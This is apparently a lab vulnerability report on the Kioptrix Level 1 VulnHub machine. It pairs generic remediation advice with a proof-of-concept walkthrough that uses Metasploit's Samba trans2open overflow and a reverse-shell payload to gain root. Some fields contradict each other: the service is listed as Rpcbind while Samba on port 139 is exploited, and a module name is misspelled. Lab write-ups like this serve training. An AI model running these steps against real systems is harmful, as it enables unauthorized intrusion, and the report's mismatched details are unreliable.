|  |  |
| --- | --- |
| Describe | Vulnerability |
| Service | Rpcbind |
| Ports | 139 |
| Versions | 2.2.1a |
| Severity | Easy |
| Cve id | N/A |
| Cvss score | 7/10 |
| Remediations | 1. Update and Patch Services:  Vulnerability: Outdated services like OpenSSH 2.9p2, Apache 1.3.20, and Samba 2.2.1a contain known vulnerabilities that can be exploited by attackers.  Remediation: Regularly update and patch all services to their latest stable versions to mitigate known vulnerabilities.  2. Disable Unnecessary Services:  Vulnerability: Services such as Samba may be enabled without necessity, increasing the attack surface.  Remediation: Disable or uninstall services that are not required for the system's functionality to reduce potential entry points for attackers.  3. Implement Strong Authentication Mechanisms:  Vulnerability: Weak or default passwords can be easily guessed or cracked, granting unauthorized access.  Remediation: Enforce strong password policies and consider implementing multi-factor authentication (MFA) to enhance security.  4. Restrict Administrative Privileges:  Vulnerability: Users with unnecessary administrative privileges can inadvertently or maliciously compromise the system.  Remediation: Apply the principle of least privilege by granting users only the permissions necessary for their roles.  5. Monitor and Audit Logs:  Vulnerability: Unauthorized activities may go unnoticed without proper monitoring.  Remediation: Regularly monitor and audit system logs to detect and respond to suspicious activities promptly. |
| POC | Step 1  first I find our ip in virtual machine    After that I find victim ip with the help of netdiscover    As you see I get victim ip add (192.168.1.103)    Now I check the website how it’s look    After that I try to gathering information with the help of dirb, gobuster, source code but I didn’t get any type of clues so now I do attack with the help of msfconsole (Metasploit)    Now I find searchsploit of samba version that I get in while doing nmap (as you see port number 139)    So now I use 0  Options  Set rhosts (ip)    Now exploit    As you see I get samba version (2.2.1a) now I find this in google for getting some informations about it    I get and the name Is “trans2open overflow”  Now I find this exploit in Metasploit for getting privilege  Msfconsole  Search trans2fopen overflow    Use 1 because it’s linux one  Now options  Set rhost (ip)  Set payload generic/shell\_reverse\_tcp\_        Now exploit    Bruteforce done now I become directy root as you see |
| Reference | https://infosecwriteups.com/kioptrix-level-1-vulnhub-walkthrough-49bcc7306e72 |

CVV:- <kioptrix.lvl.1.docx>